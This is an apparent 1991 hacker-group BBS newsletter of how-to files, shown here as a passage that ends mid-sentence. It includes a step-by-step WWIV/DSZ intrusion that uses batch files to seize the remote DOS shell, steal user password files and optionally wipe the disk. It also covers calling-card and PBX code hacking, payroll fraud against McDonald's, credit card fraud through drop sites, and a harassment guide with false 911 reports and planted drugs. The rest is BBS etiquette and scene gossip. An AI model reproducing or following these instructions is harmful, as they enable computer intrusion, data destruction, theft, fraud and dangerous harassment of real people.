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Table of Contents.00264 Profile: Truk-king of BaD.01461 Hacking WWIV.06153 Phreaking Advice.13546 Hacking McDonalds.19411 Successful Carding Techniques.26078 Grade-A Harassment.33525 Basic BBS Rules.38137 General BBS News.44121 BaD Group News.61744 ### ╓──────────────────────╖ ║ BaD Newsletter #1 ║ ║ 6/15/91 ║ ║A colection of g-files║ ╙──────────────────────╜ This is the first of what will one day be a large group of BaD newsletters. The purpose of these journals is to provide the youth with an understanding and ability to become better educated in the interworkings of the underground. Topics discussed will be of a phreak/hack/anarchy nature and are intended to enlighten and teach the youth of methods and techniques that are used and being discovered in these fields. We hope that one day, everyone will have the knowledge they want and deserve. ------------------ Table of Contents: ------------------ I. Profile: Truk-king of BaD II. "Hacking WWIV" by Vision III. "Phreaking advice" by Frost Bite of BaD IV. "Hacking McDonalds" by Plumber of Sorrow of BaD V. "Successful Carding Techniques" by Crib Death of BaD VI. "Grade-A Harassment" by Bart Simpson of BaD VII. "Basic BBS rules" by Cadaver VIII. "General BBS news" Edited by Bloody Ghoul of BaD ### ********************************************************************** * File #1, Profile of Truk-king * * * * "The best of the best" * * * * by Frost Bite * ********************************************************************** Handle: Truk-king Call him: Jonathan Handle origin: Nickname given by a friend at a tractor-pull exhibition. Date of Birth: 3/27/71 Current age: 20 years old Height: 5'11 Weight: 175 lbs(pure muscle) Eye color: Brown Hair color: Black Education: Junior at University of Texas Computers: 486/33, 386/25, PC, broken C-64 Years modeming: 4 Truk-king received a Commodore 64 for his 14 birthday and was instantly hooked. He read all of the books he could find and taught himself BASIC well enough to program games. After finding that BASIC was far to slow for any serious programming, he learned machine language and what the computer was really about. At this point, he rewrote his finer games and a few utilities into assembly so that they were not so slow. When he was 15, he was showing off his games to a family friend who was fairly impressed. He told Johnathan that he should start programming on more powerful systems such as the IBM PC's. Johnathan took immmediate interest and wanted one very badly. That summer, he got a job and worked 40 hours a week. With the money he earned and his parents help, he was able to buy a PC. Again he read all of the books he could find and learned PASCAL at first. After mastery of PASCAL, he again went to program in machine language to unlock his machine's potential. He began to program more games and disk utilities and found it to be quite easy. When he went to find games at the store, he found that they were generally far to expensive for his budget. When a friend of his started working at a computer store, Johnathan was able to copy games and therby get them for free. Soon he found that some games were copy protected, so Johnathan began to investigate how this problem could be resolved. Johnathan soon found out how games could be copy protected and de-protected from a friend in a computer group he was in. As Johnathan knew assembly very well, he figured out how to crack simple protection schemes with the help of a debugger he could now "afford." This began a series of free games for him and other computer friends. When he was approached about his "modem handle", Johnathan knew nothing to say. He knew what a modem was, but had no idea that they were so incredibly popular among teenage computer users. He immediatly bought a new 1200 baud modem and started learning the ropes. In the begining, he called mostly public domain boards to talk about programming and assembly language coding, but later found that he was better than most of the adults, and wanted a fresh teenagers mind to communicate with. He worked his way up in the pirate community quickly and even cracked a few games independently. As he met more people, he was introduced to phreaking and a little hacking but stayed mostly with cracking games and writing programs. Two years ago while working on a project, he realized that no group for the IBM had a goal of educating the up and coming pirate modem users. "Most groups are out for ego trips or just to show off", he says and he feels that this needs to be changed. He and a few friends started a group called BaD, which stands for Bad Ass Dudes. The group's idea is to be well rounded and not only provide information in one area, but rather in phreak, hack, pirate, and anarchy areas. This wide range of knowledge will provide a means of education for someone starting out as well as giving the experienced person more information to digest. The first year of BaD's existance was marked with problems and dischord within the group. After the summer of '90, the had successfully faught off battles with three smaller groups that have since dissolved(CRiME, GaNG, KiLL.) In the last three or four months, much has occured that will later shape the group future. A few inactive members were dropped, but many more were added. BaD plans to go public again in the next month with cracks and phreak utilities. When you see this group's fine work, remember, Johnathan is the man behind it. ### ************************************************************************* * File #2, Hacking into WWIV - Second Edition * * * * "Wayne Bell is super lame" * * * * by Vision * ************************************************************************* WWIV, when unmodified and when not using external chains/protocols/programs, is essentially impregnable. However, good ol' Wayne Bell has also distributed the source code, external network programs, protocol support, and other nifty benefits that have made life for a WWIV hack much easier. This textfile will describe the essentials of hacking into WWIV via a hole in unregistered DSZ. The key here is >unregistered<, since this hack works through DSZ's refusal to reroute Zmodem-batch downloads without registration. Step One: Call your local WWIV startup under a false alias. They are usually struggling and haven't had the time to 'register' DSZ with PUTSNP or register their source so they can patch this hole. You need to find out what COM port they are operating on. Once you do this, create several files: a) DLZ.BAT - this should read: CLS CTTY CON DSZ port1 speed2400 sz %1 CTTY COM1 CLS Substituting, of course, the correct COM port. This will allow you to download files remotely via Zmodem. b) HACK.BAT - this should read: CTTY COM1 COMMAND Again, if the SysOp is running from another COMport, substitute the correct number. This will turn over control of the computer to whatever device is on COM1 (the modem) and run the command interpreter. c) NETWORK.COM - the QuickBASIC source for this is: SHELL "DEL NETWORK.COM" SHELL "HACK.BAT" Compile & link it to NETWORK.EXE then rename it to NETWORK.COM. This will delete itself and run HACK.BAT. If you want, write it in Pascal or C, but it's not going to make any difference. Step Two: Call back and go straight to the transfer section. Upload (to any directory, or directly to the SysOp). When prompted for the file name, enter "????????.???" (eight ?'s then three ?'s, without the quotes). You'll see the Zmodem receive string. Upload one of the above files. The BBS will say, "transfer aborted"... but you know better! Repeat until all files have been uploaded. Step Three: Call back very shortly afterwards (thirty seconds, no more, no less). When you get the "NN:" prompt, enter "!-@NETWORK@-!" (again, no quotes). This will access the unpassworded WWIVnet account (the password routines are external). When the BBS sees this, it will drop to DOS and run NETWORK.EXE. However, since COMs are run before EXEs, your NETWORK.COM will be executed promptly turning control over to you via HACK.BAT! Now that you are in DOS, there are a few things that you must immediately do. Step Four: Use DLZ.BAT to leech the target's CONFIG.DAT from his main BBS directory (the one you were dumped in when you arrived). The format is: DLZ <filename> where <filename> is the name of the file. For example, DLZ CONFIG.DAT will leech the configuration file. Step Five: Go to his BBS DATA directory. This is usually C:\WWIV\DATA, but you might have to look around a little bit. When you find it, use DLZ to leech the target's USER.LST. Using Norton Utilities or any hex and/or text editor, it is very easy to see where the usernames and their passwords are stored. Step Six: If the target is in WWIVnet or WWIVlink, download his/her CALLOUT.NET file from the aforementioned data directory. This will be explained later. Step Seven: Delete HACK.BAT if you haven't already! Step Eight: Look around. Leech anything that looks interesting. This includes: --> Private G-Files from the G-File section Good for __/ Lists of credit-card or calling-card numbers blackmail \ Pirate files --> His dialing directories from Telemate or Telix; these usually contain passwords and numbers of private BBS's! Step Nine: Hang up. If you really hate him, upload Norton's WIPEDISK.EXE along with the rest of the files, run it, and permanently destroy all data on his drive. This is generally not recommended, because so far he has NO WAY of knowing you were in unless he watched. --------- Tips: --------- a) In the target's logs, nothing will show except that you hit 'U' when you were online and quit before the upload started. This is virtually always overlooked, and logs more than two days old are usually deleted. b) In the target's net logs, he'll probably see a >NO NET<, which is rather common. c) Very close to the beginning of CONFIG.DAT and right before the first directory entry (usually "MSGS\") you will find the target's SYSTEM PASSWORD. This is needed if you are going to log on as him or a remote sysop. d) If a sysop logs on, it is not noted in the LAST FEW CALLERS screen OR the logs. e) A few commands that you will want to try out when you are online as #1 are: //DOS //UEDIT //BOARDEDIT //DIREDIT //GFILEEDIT //CHUSER Most require the system password, but if you're online as the sysop you already have that. f) You can have great fun with planted and rouge mailing if you have a copy of WWIV and the victim's CALLOUT.NET. CALLOUT.NET has a little note after every entry that looks something like: "KAOIYQIGNADFUKG" Or another random password. Read WWIVTECH.DOC (available on most WWIV boards) for more information. You should be able to pick up/drop off mail supposedly from and to your target very easily for about a week. When you start getting >BAD PASSWORD<, get back into your victim's DOS and get the passwords again! g) You should be able to figure out what to do with the password file. h) NEVER, NEVER, NEVER press backspace when there is nothing to backspace! This will have catastophic effects and will definintel crash CTTY! i) This file is provided to inform WWIV sysops of this threat. If somebody uses it for "bad" purposes, it is not my fault. I originally wrote this alone a little while ago, but my friends at BaD were looking for a few good g-filez, and I felt generous. The above journal was entirely my work. Latez! \ / <=---\----/--i--s--i--o--n---=> \/ ### ************************************************************************* * File #3, Phreaking advice * * * * "What to do and what not to do" * * * * by Frost Bite * ************************************************************************* It was recently brought to my attention that the majority of todays youths don't have a proper understanding of how to phreak, and mostly, how to phreak safely. The following journal will explain these fine points in will explore the various ways to benefit from the phone systems with poor security. Phreaking is the act of making a free phone call by manipulating a phone system in a manner that is both simple and enduring to many uses. I. Phreaking with calling card numbers. This is by far the most common method, but one of the dullest ways too. What is used in this method is a dialup. Most modern phone system have a seperate prefix(usually 950) designated for calling cards. At one of these, you follow the 950 with the four digit company number. Thereafter, there are various formats in which the calling card number and destination phone number are both entered. There are many programs that serve as code hackers, but of them all, Code Thief appears to be the best. A line for hacking the 1087 entender would be: 7 digit \ code / ex. 9501087,,,04156267032415619 /^^^\ \area code and number(no "1" needed) 6 second pause Of course many companies assign codes that are grouped by their function. This is where templates are derived from. For the 1087 extender, 04????? seems to be the most common. Hacking the codes is simple enough. Running Code Thief should be no problem. You must make sure of a few things. 1. The dialing speed is not too fast. In terminal mode, typing ATS11=50 will make certain that the numbers will not be entered faster than the code verifier can read them. 2. The target numbers must be up to date. Numerous hackers have had problems with their code percentage because of bad target numbers. I cannot stress enough how important it is to have reliable numbers. Code Thief version 4.0 should come with a list of numbers, but any upgrade should be used in its place to make certain that the numbers will give a carrier. 3. Hack business hours(9-5) on business days(Mon-Fri) because these are the times that legitimate users are calling, and your hack attempts won't look bad with all the other users on. 4. Use a one minute delay. This will also mask your hack attempts and make a trace much harder to do. 5. Some 9600 modems have problems with Code Thief or other hacking programs. Try toggling the tenth switch on HST's or running P-Hack instead. II. PBX phreaking. Having a PBX at your disposal is a phreakers dream. This means unlimited outgoing calls with minimal chance of being caught. A PBX(Private Branch Exchange) is just another phone system that is used by businessmen to make office connections from home, without having to contact an operator. However, they also allow you to call out, which is what you're going to want to do. The first thing you have to do is find a local business that is big enough to have a PBX. When you find a buisness in the yellow pages, look at all the phone numbers they have and see if they use the same prefix in most of their numbers. If so, you should scan that prefix, because the chances are that if they have a PBX, it will be in with the rest of their phone numbers. Now that you have the phone number to this PBX, you must crack the code on it. You will first want to try the common defaults suck as 9, 8, 89, 123, and other combinations based upon how many digits are in the code. You should now try to hack the codes digit by digit until you get a responce from the system. When it hangs up on you, you can determine that you have entered an incorrect digit in the code, and you have done the "thinking part" of the hack process. Make sure to test the number 9 first, as some systems require it to be pressed before any operation can take place. Once you figure out the format, you should set up a chart like the following: (Based on a four digit code) Digit # │ 1 │ 2 │ 3 │ 4 │ Code ┌────────┼───┼───┼───┼───┘ ─────┤ │ │ │ │ 1 │ │ │ │ x │ ─────┤ │ │ │ │ 2 │ │ │ │ │ ─────┤ │ │ │ │ 3 │ │ │ │ │ ─────┤ │ │ │ │ 4 │ │ │ │ │ ─────┤ │ │ │ │ 5 │ │ x │ │ │ ─────┤ │ │ │ │ 6 │ │ │ x │ │ ─────┤ │ │ │ │ 7 │ │ │ │ │ ─────┤ │ │ │ │ 8 │ │ │ │ │ ─────┤ │ │ │ │ 9 │ │ │ │ │ x ─────┤ │ │ │ │ 10 │ │ │ │ │ ─────┘ This means the code found was 5619. When you find a corrrect digit, you record it in the proper box. This is the simplest and most efficient way to hack. Also there are a few PBX hackers out there, but generally the rule is that you should hack by hand if you are not 100% sure of the format the PBX requires. Record any strange responces just as you would when scanning an exchange. CONCLUSION: This is only a beginning of the various ways to phreak. More will come in later issues after you have hopefully mastered these simple, crude but effective techniques. If you have any questions, leave mail at any BaD site. ### ************************************************************************* * File # 4, Hacking McDonalds * * * * "Paychecks for you, my friend" * * * * by The Plumber of Sorrow * ************************************************************************* I believe there was already a file written on hacking the fine McDonalds organization, but it was more about screwing them over than for personal gain. Ethically, I think it is stupid to screw a company over when there is nothing in it for you. This goes for anything that is hacked or obtained illegally. Unprevoked vandalism or destruction is never beneficial to anyone, and only serves to screw things up for future hackers who may be able to do more than you currently can. The Scam: The McDonalds dialins have a certain format they follow for the managers to access the main computer system. You will call into the main system with the manager ID and add a 'new' employee. This employee will work for two weeks(80 hours) at say $7.00/hr and then you will pick up the check from this McDonalds and never be seen again. You will have just made a quick $560 and have done no work to show for it. Calling the main system: All passwords are a combination of the store number and the managers position. When it asks for the password, you will enter the McDonalds store number that you wish to 'work' at and the manager code such as MS, meaning Manager of the store. The login is in the following format: ,x123456 MS123401 The first part requires a comma and an x followed by a workers six digit code. When this is valid, you will type MS for store manager, followed by the store's four digit identification code. This code can be found by calling the store and simply asking for the store number. You may wish to say that you are calling from their supply orderind company, Martin-Brower, and that you wish to confirm and order. Just pretend you have the wrong store when you get the number. The last two numbers are the manager number. You should always choose 01 because it means manager one or the head manager. This will provide you with the greatest level of access. From this point on, everything is pretty much menu driven and should be easy enough to figure out. You will have to create an employee and set wages for him. Do not go above ten dollars an hour, or that might arouse too much suspicion. Then set the hours worked for 80 and the employee will be awaiting pay day. What to do first: 1. Find out pay schedules. This can be done by talking with the employees at the counter and expressing interest in getting a job there. Ask how much they get paid and how often and you will have good info. Make sure you find out which week they get paid on and if its weekly or bi-weekly. If you have inside information, you will know when payroll gets sent in. Otherwise, it will be either one or two weeks before paychecks are given out. 2. If you don't have one already, get a fake ID. This will allow you to cash the check at a check cashing establishment. You will not want to cash this at a bank because banks are too well secured and have good records of every transaction. Take it too a place that specializes in cashing checks and try to look poor. Sometimes stores have a deal with the local bank that they use to cash checks for their employess even if they don't have an account there. If ou can put on a decent looking disguise, this might work, but otherwise stay away from banks. 3. If possible, do this for an out of town McDonalds and have a friend who works there get it for you. This will minimize risk although it may make cashing the check difficult if it lists the stores location or address on the check. Again, any inside connection can verify the format used. 4. Know and plan out everything you are going to say and do. You must act like nothing strange is happening and you are not nervious. Dress semi-scrubby but just enough so that you don't stand out and are not remebered. You must act very casual. If you have balls of steel: Dress up like a repairman, complete with hat, uniform and toolbox and ask to be shown the computer system. Tell them you were sent because their data transmissions were not being properly sent. If they look doubting, explain protocols, DSZ, line noise, and execessive error termination to them. When you go back there, feel free to use the printer to get all the data you need. Then call the manager back over and get him to tell you his password and code number. Thank him and play with the system for a while. Then have him sign a phony form saying that you were there and the time you were there. Be polite and everything will be cool. Other options from the main menu: When you have logged on, there are other several options. I would not recommend screwing the company, but if you are only looking around, the following are available: A. Cash/Inventory B. Labor Scheduling C. Store Profile/Security D. Corporate Communications E. ISP Malfunction/Backup/Recovery F. Manager's Communication Log G. ISP Training H. Logoff At this point, you must enter your password to proceed. All of the above options can be selected if the password if correct. Dial-ups: These differ from area to area, but I live in Washington D.C. and for all of the locals who want to try this, the numbers are: 202-429-7896 202-429-7800 202-435-1800 To get your local dial-up, you maybe be able to scam the manager, but the best way would probably to go to store itself as a repairman, trashing, or to get inside info from a friend. Trashing would be at the office, not the food location of course. You don't want that special sauce all over you for nothing. I do not know what kind of security is being used, but I have always called through a diverter of some kind. Do not call directly or you will most likely get caught and busted. Businesses take things like this very seriously and do not like unauthorized users on their systems or hacking their systems. If you are serious about doing this, you should know the proper precautions to take by now. I have done this twice and have supplemented my income at the expense of a huge corporation that it does not effect. This is capitalism at its best. ### ************************************************************************** * File #5, Successful Carding Techniques * * * * "Never pay full price again" * * * * by Crib Death * ************************************************************************** Although carding is the most dangerous activity in the underground elite, it is also the most rewarding. Once mastered, carding carries over to all other aspects of life. You WILL get that stereo you want, you WILL get that new guitar, you will GET anything you want, all for free. With just a little effort and patience you can soon have it all and you will be a better person for it. BACKGROUND INFORMATION: Carding is the use of another persons credit card number to purchase items for yourself. By giving the number over the phone, you never have to show the card that you don't have. You only have a copy of the carbon the card made. Also, you never screw the other person over, because insurance pays for what you order. Their credit rating never gets messed up either, so no one gets hurt. GETTING THE CARD: The most common way to get a card is to go "trashing." This means going to a dumpster outside a store or shopping center and finding carbons. Generally what you want to do is steal the trash and take it home to look at. If you have a friend with a pickup truck or something, this will be easy. Make sure to avoid food stores because they don't use cards and have messy trash. The best stores are department stores, viseo stores and any kind of store that uses a large amount of credit instead of cash. Other ways to get a card is to work at or have a friend that works at a store that has cards. It is not very hard to steal a carbon a day and stick it it in your pocket. Even a stupid department store job would be well worth it in the long run if you could have access to card #'s that you could trade or use. But you must remeber to sit on the card #'s for anywhere from a month to a year, so they don't get traced back to the store and security gets tight. Also, assume that after a year, the credit agency will have figured out where the card #'s are coming from. Change your job/source and keep carding. WHAT TO CARD AND WHAT NOT TO CARD: Electronics(not computer stuff), clothing, jewelry, comic books, anything of value to you that is not directly related to computers. The only places you can card computer stuff from are stores like Sears, J.C. Pennies, Montgomery Ward and other lame stores with limited computer stuff. The reason for this is that they will not be looking for credit card fraud on computer items, and although you will get lame equipment, you WILL get it. Trying to get stuff from a place specializing in computer hardware is too difficult and risky to be worth it. They WILL check credit thoroughly and prosecute hard if you are caught. A large lame store such as the ones mentioned above take no such precautions as few people try to card their stuff. PROCEDURE: Call up whatever store you will be 'ordering' from. Follow normal procedure and try to sound like an adult. If your voice isn't mature enough yet, have an older freind do it. This must not be questionable. Speak slowly and have all the info you will need at hand. You give the item and card item, now when they ask for the name give them the card holders if you have it, or give the one that matches the address you will give if you have it. For the address, you will use what is called a drop sight. This is a house that people have just moved into or out of, one where the owners just left for vacation, or one that is vacant during the day if you are carding over the summer. You will be asking for overnight shipping to minimize risk and to allow less time for a credit check. The next day you can do one of two things. You can leave a note on the door of the house telling them you left but they can leave the package at a hidden spot by the house(behind bushes, etc.) or you can stake out the house. If you choose to do the latter of these two you have a few options. Basically what you will be trying to do is make it look like you live in the house but are playing outside or whatever. You and a friend should get involved in some activity that makes it look like you are obviously using this person's property. This works best if you have a lookout point where you can see any vehicle that would come by from a distance. When the guy finally comes, act cool and sign for the package. Then start a casual conversation with your friend about it to stall for time as you walk toward the house. One of you say "Wow!! k-cool!! Its about time. I can't wait to use it...blah..blah." By this time, the lame driver should have left and you now have your card job complete. POSSIBLE IMPLICATIONS OF CARDING: The idea of carding is to buy expensive non-computer items and to sell these and buy what you really want with the cash you get. You will want to hit the larger department stores that will do the least checking and will basically send things without doing elaborate checking such as calling the cardholder and verifying the sale. WARNINGS: Chances are that after a few successful card runs, the cops will call on the FBI. You will have to get everything you want in either 3-4 cardings or one month, whichever is shortest. Too many card to an area will get too suspicious and you will get caught. If you feel that you really must card, you will have to go to another area to do this. Go at least 20 minutes from your area so that you are in a different city. Stay away from patterns such as ordering the same kind of stuff. Also, NEVER order twice from the same place. Not only will they be more reluctant to ship to the same area, if you get caught the second time, they will be pissed about the first and you will be prosecuted for both. If you are caught, admit NOTHING. If you pretend to be ignorant and stupid, they can get nothing from you. Remember how dangerous this is and remember to ALWAYS USE OVERNIGHT SHIPPING. NOTE ABOUT THE AUTHOR: Crib Death has been carding for five years now and has the following to show from his dedication to this art form: (1) $1250 Headstart 286 w/vga and CD-ROM (1) $500 Ghettoblaster/Boombox (3) $250 Nugget Rings from Macy's (2) $275 Gucci watches from Hecht's (1) $350 Sony diskman deluxe (1) $200 3-line AT&T speaker-phone (1) $700 Gibson guitar (4) $120 Pairs of Reebok Pumps (1) $300 Alpine Stereo Cassete/AM/FM Radio (3) $110 Nike Warm-up Suits and many other smaller things ───── $5410 in big items. "I believe with a little hard work and dedication, you can have anything you want, need, and desire. The american credit system is the greatest in the world. I will never be without the things I deserve." [[[ [[[ * [ [[[ [[[ [ [[[ [ [ [ [_[ [ [[[ [ [ [= [=[ [ [[[ [[[ [ [ [ [[[ [[[ [[[ [ [ [ [ [ ### ************************************************************************ * File #6, Grade-A harassment * * * * "Give 'em just what they deserve" * * * * by Bart Simpson * ************************************************************************ Have you ever wanted to get revenge on somebody for any reason? Is so, this phile is just for you. I will discuss the many ways to do just this in varying degrees, so that you can choose just how harsh the punishment should be for whatever they did to screw you over. What you must do is think hard about what they have done to you and how bad you want revenge. What you will be doing is giving somebody a day of hell. Everyone knows about the old "send a pizza to your enemies house and make them pay" trick, but you will be doing it on a much larger scale. You will call a variety of services that will either be deliveries or appointments and he will be greatly annoyed by their actions. PLACES YOU WILL CALL: --------------------- 1. Pizza places that deliver. 2. Lots of expensive restaurants that take reservations. Make all of these at the same time if possible. 3. COD's for everything you can find. When you see those stupid advertisements on TV for dumb products, write down the number and get a COD order sent to your enemy. 4. Call taxi's and limo services and get multiple appoinments scheduled half an hour away. This will give him maximum annoyance and still keep the randomness on on a schedule. 5. Call emergency services like plumbers, electricians and locksmoths, and explain the "emergency" to them. Ask them to come as fast as possible. 6. See if you can get a construction company to do many great things for you. First, you will see if they can get you a ton or two of gravel right in your driveway. Then see if they will inspect your property or do any other work that should be billable. 7. Call real estate offices and schedule people to come over to discuss your recent plan to sell the house. Also see if they can appraise it, as this is often billable. In the mean time, put for sale or rent signs on the lawn as frequently as possible. 8. Put ads in the newpaper for the yardsale on this day. Posting signs around the neighborhood that morning will also get the early yard sale loving bunch. 9. Call the police to turn in your enemy for creating a public disturbance with his stereo, a loud and violent fight with his spouse or some other crime. 10. Call multiple termite and rodent inspectors for appointments on this day. 11. Call professionals like doctors, lawyers, and dentists and make appointments for your enemy at many different places. When he forgets to show up, he may get a bill anyway. 12. Call DJ and catering services and schedule parties, etc. 13. Set up a script program that uses SSCU to call his house every five minutes or so. If you know what this is, you know how funny it would be. 14. Call 911 and report a fire in his attic or some other nonconfirmable area. 15. Call 911 and report multiple gunshots from his house or suspected drug dealing. If you want to be really mean, hide some of your stash in his car or something. PURPOSE: All of these places will try to reach him him the same day and will be quite upset when he refuses delivery or to pay for their services. After 50 to 100 different people from all different places arrive at his house, he will be greatly annoyed and will know he has been defeated. Perhaps some real work will be done for him, but either way, a business survives on monetary gains. When he is forced to pay for time wasted or services performed, he will either refuse or get into a large argument. The hassle of this is so great that he will be sure to tire quickly. OTHER PRANKS: Other pranks include sending away magazine subscriptions to him, especially if it is hardcore porno or homosexual mags, and he's married, or simple mindless destruction of his property. I will have an article on destruction in a later issue. CONCLUSION: I hope you enjoyed this article and look foward to many more fine ones like it. Just call from a pay phone and don't get caught, too many bastards have caller id these dayz. l8r, Bart Simpson [BaD '91] ### ************************************************************************* * File #7, Basic BBS rules * * * * "How to NOT be an idiot" * * * * by Cadaver * ************************************************************************* Hey all you k-rad dudes and dudettes!!! I'm gonna teach you beginners a few of the basic BBS rules. And you experienced guys should listen too so that you can brush up on any rules you may be breaking. These rules are the basic guideline for boards, although some boards have strict rules and some have no rules. Unless otherwise stated on the board, you can follow these rules and you'll be pretty safe. PURPOSE: In the last few weeks, I have noticed alot of idiots on some pretty elite boards. Generally these people are either new couriers or they are friends of the sysop. These people have no BBS etiquette, and in many cases, their presence stops the conversational flow on the board. Besides making things worse for other users, often their stupidity hurts any chance of them moving up in the BBS society. When their foolhardy posts anger the better users, everyone turns against them and they are forever sunk. I have seen cases where a relatively new user asked a few semi-innocent questions, but was torn apart for4 asking them and was banned from one board. As he moved to another board, he once again made a few dumb comments and was blacklisted there. A gradual blacklisting occured, and he was forced to quit BBSing. The following rules are meant to ensure that the same will not happen to you. RULES OF BBSing: These are guidelines on how to avoid being a turd. Why? A lot of the fresh meat on the boards call up and act like total dinks, gronks, and weepos. But you people who've been around for a while better pay attention because by paying attention, you can find out why everyone hates your guts. You might also say that these could help you out in life. DON'T BE A FUCKING POSER. Don't lie about what boards you're on. Don't lie about what people you talk to. Don't say you can do things you KNOW that you cannot and will never be able to do in a million years. Because if you did it to me personally, I'd ask the people who run the boards and who you say you talk to. And if you lied to me, I'd grind you into dog meat. This is the single most important rule. Posers get thrashed. DON'T BE A TOADY BUTT-LICK. Ok, maybe you should butt lick some people because after all, that's how just about every loser no-talent gets into a group. But you sure as hell don't have my respect for it. DON'T RAG ON PEOPLE JUST BECAUSE SOMEONE ELSE IS RAGGING ON THEM. This is more repulsive than being just a toady butt-lick. It's being swayed by the crowd. It's showing that you are willing to shovel shit onto a human being who could be a perfectly decent person because you're deperate to keep other losers from ganging up and ragging on you. LEECHING IS OK, JUST DON'T BE A PRICK ABOUT IT. If someone lets you leech, keep it reasonable (ask what is reasonable if you don't know). And if you ever have the chance to get something that you know that the other person wants or might want, give it to that person. In other words, be nice to the people who are nice to you, and don't abuse their kindness. HAVE SOME DIGNITY. Don't be a Miss Manners clone, but if someone asks a stupid question or says something ignorant, you don't have to pound him into the ground unless he's a real asshole. If YOU say something ignorant or get shown up, at least have the dignity to admit you were wrong without whining or making cheap excuses. Ok, the way that you present yourself on a BBS is through your posts. Some quick tips on this: Don't reply to every single message. Especially don't post one line messages like: "You're right!" "Sounds cool to me!" "Hehehehehehehhe" If you don't have anything intelligent to say, keep your mouth shut. If you have something to say, try to make sure that someone else hasn't already said it and make sure you're saying it in the right place. Once again, share your knowledge on anything people ask. If you do have something truely brilliant to say, you will be noticed through good posts and especially informative ones. Even if this is only to say, "Don't see this lame movie" or "Don't download that, its an old crack" you will be noticed over time if you are helpful. Sysops enjoy these type of people on their boards because they save them time and the hassle of having to check things out themselves. Also, don't be scared of sysops. Sysops are people too, and many times only are sysops because they have the cash flow to run a 486/33 800 meg system. Often sysops are just cool people with money and enjoy a good user. Act just like you would around your friends and if you happen to get along with the dude, maybe he'll give you leech access or sleep with his sister. Either way, its cool to know sysops because you never know when you'll need some obscure file that only he's got. On net posts, make sure that the post will be recognized by all, and not just a few locals who know about an inside joke or a local lamer. Make sure anyone can understand it. If you post alot on net boards and your posts are good, you will be recognized and get invitations to elite LD boards or at least the respect of many. Hopefully with these hints, you can become a true individual and add needed interest to the world's bbs'. I personaly guarantee that if you follow this basic set of rules, you at least have a chance to become elite. ### ************************************************************************* * File #8, General BBS news * * * * "More of what you want and need to know" * * * * Edited by Bloody Ghoul * ************************************************************************* Lots has been going on in the last few weeks and I'm gonna try to keep you up to date with it all. This is my first job as an editor and my goal is to keep all of the news interesting and accurate as well as up to date. Hopefully this should be the last word in arguements as I try to show both sides of a dispute and have you make your own decision. Well, enough chitter-chatter from me, here's the news. ----------------------------------------------------------------------------- CRZY JOE OF NEUA BUSTED!!! Crzy Joe, the vice-president of NEUA has been busted for phreaking. Recently, AT&T confronted him and told him that he owes them over $5000 for various calls he has billed to calling cards. He is attempting to fight the charges in court, in hopes that his use of the codes cannot be proven. In the mean time, he may have been kicked out of the private school he went to and is getting "alot of grief" from his parents. He continues to call a few of his favorite boards and also says that final exams are taking up a large part of his time. He thinks he can have this problem straightened out by late June on July. We at BaD hope he can come back as soon as possible to further positively influence the pirate community. With the Daffy Duck education series release, NEUA has shown their desire to teach and develop the young minds of the pirate world. We wish you the best of luck with your trial and await your return. ---------------------------------------------------------------------------- THG MAY SOON TO BREAK UP!!! THG's fun as a cracking group may soon to be over. With many members angry over bad attitudes, and factional differences in the group, members may soon split up and go their seperate ways. THG crackers will be the first to go, and a few have privately stated their desires to join new up and coming groups. When the majority of the crackers have left, the group will have nothing to support its big talk. Their courier system has been hurt by their idea to "deregulate" it, eliminating humble slaves and spittle. Enjoy THG cracks while you can, because in a few weeks, nothing will remain of this once great group. Look for active and interested members to filter into one of the newer cracking groups, INC, or maybe another minor group. This information comes from speaking with crackers and sysops of THG and is confirmed. Let the legacy of THG never be forgotten though. They provided the underground with great games for a long time, and their interesting personalities were the ones we loved to hate. Perhaps now, they will all be a little more humble. ----------------------------------------------------------------------------- BLUE ADEPT BUSTED!!! What was thought to be the easiest code hack of the 90's turned out to be quite unlucky for Blue Adept. He was the latest victims of U.S. telecom's 1-800-369-3100 busts. After a few months of use, his line was searched for excessive 800 accesses, and U.S. Telecom was contacted. He was sent a bill for $134, $98 of which was for calls, and $30 for abuse of 3 codes. He refuses to pay the bill and doesn't think the phone company will bother him about $134, but is thinking about getting another line under a different name in case his line is being monitored. ----------------------------------------------------------------------------- ANSI ALTERNATIVES Just when ACiD looked to have a monopoly and a happy one at that, they bagan to ask for a small payment for their work. To some, $20 is no big thing, but to others, the concept of paying for computer work is ludicrous. These strong objectors have gone so far as to do their own work, often for free. A group called GDi was set up run by The Doctor and free ansi's were promised. The group disbanded after two weeks after they were not given sufficient opportunity to prove their work. The Doctor continues to do ansi's alone, but the rest of the group has lost interest. In direct competition with ACiD, Kingpin has decided that he can do ACiD quality ansis for half of the price. Every week, he plans to create an ansi for the bargain price of $10. E-mail him on elite boards for further information on this deal. Also making incredible ansi's is NimRod of (615). He has been around for a long time and has gained quite a reputation. Rumor has it that he is only making ansi's for friends, but if you be able to bribe him. He has created some of the gretest ansis ever. ----------------------------------------------------------------------------- LATEST UPDATES ON GROUPS INC has reinforced its line up and has a stronger cracking department. The new and improved lineup looks as follows: President: Line noise Vice President: Cool Hand Crackers: Jenetic Bytemare, Bit Manipulator, Null Set, Jake Pickett, Bad Brains, Dr. Detergent, Onyx, North wind Members: Optical Illusion, Centurion, Xerxes, The JokeR, Many Axe Hawk, Luther, Fistandantilus, Reaper, Khan, Vigilante, Bad Ass, Atomic Knight, The Dark Knight, Bluebeard, Sub Zero, The Oxidizer, Lord Icon, The Jet, Claude Rains, Molecule Man, Magnum, Crimson Blade, Island Hacker, Stalker INC has also added a few new boards, whose names and numbers will not be posted for security reasons, but are all worthy. INC looks to dominate the cracking world for a long time to come with their continuing desire to improve and strengthen their line up. Perhaps they will get a few new boards and members with THG's imminent break up. Stay tuned for all of the news. ---------------------------------------------------------------------------- NEW PHREAKING GROUPS FORMED TO MEET DEMANDS FOR INFORMATION The recent outcry for new phreaking knowledge has been met by many groups specializing in phreak/hack topics. Among these are ISCC, PuNk, THuG and SaVaGE. ISCC stands for International Syndicates of Computer Criminals and is based in (216) which has recently become quite a popular area for phreaks. They cover a wide range of topics and their HQ board carries groups such as LoL, UPi, PoSSe, and of course themselves. Their board is called Inphiniti's Edge and the number can found on all good p/h systems. PuNk stands for Phreakers Underground Network Klan and is also originated in (216). Although they work almost exclusively in phreaking, they have been called the best by many and have much to share with the knowledge seeking user. They have three sites in addition to their HQ. THuG is a phreak/hack group based in the (202)/(301)/(703) and has a very loyal following. They are known for their weekly Thugchat's held on internet every Thursday and are "not about eliteness." They gather and share information and teach people they think have potential. Thugs are kicked out of the group when they become arrogant or boring. SaVaGE is basically a 